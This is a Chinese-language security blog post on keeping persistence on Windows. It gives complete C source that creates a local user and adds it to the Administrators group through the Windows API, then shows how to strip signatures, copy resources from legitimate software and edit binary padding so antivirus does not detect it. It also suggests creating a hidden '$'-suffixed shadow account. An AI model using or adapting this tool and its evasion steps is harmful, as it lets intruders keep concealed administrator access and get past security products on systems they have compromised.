权限维持之通过windowsAPI添加用户

添加用户可以用net useradd命令,但是这个有时候会被限制,所以要通过其它更隐蔽的手段添加用户

代码

程序很简单明了,主要功能就是接收参数作为用户名和密码,并将用户添加到管理员组,这里就不多说了

调用NetUserAdd添加本地用户

调用NetLocalGroupAddMembers将用户添加到组

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        
        fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

    else
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
        printf("Administrators added Successfully!");
    }
    else {
        printf("Administrators added Failed!");
    }
    return 0;
}

以上程序直接编译运行是会报毒的,因此要做简单的免杀处理

免杀

1. 修改代码,去特征

将一些报错信息和提示信息修改或者直接去掉,然后我这里用Visual Studio2019创建项目编译,生成二进制文件

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>


int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        fwprintf(stderr, L"e u p", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"%s add\n", argv[1]);

    else
        fprintf(stderr, "err:%d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) {
        printf("s");
    }
    else {
        printf("f");
    }
    return 0;
}

2. 修改资源

用Restorator2018将其它正常软件的资源直接复制到生成的二进制文件里面

3.用编辑器修改二进制文件

用二进制文件编辑器直接打开修改资源后的文件,然后在最后面将00空白处随意修改,保存

效果

直接添加用户360火绒没有反应

a.exe test$ password

这里可以尝试添加影子用户,就是添加以$结尾的用户名,这样用net user命令是看不到的,只能在注册表和计算机管理(compmgmt.msc)里面查看

总结

windows API是系统本身的功能,可以用于绕过检测,是红队常用的技术,这里一开始被360直接检测到也是由于里面的特征码早就被记录,只要稍微修改,轻易就能绕过。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!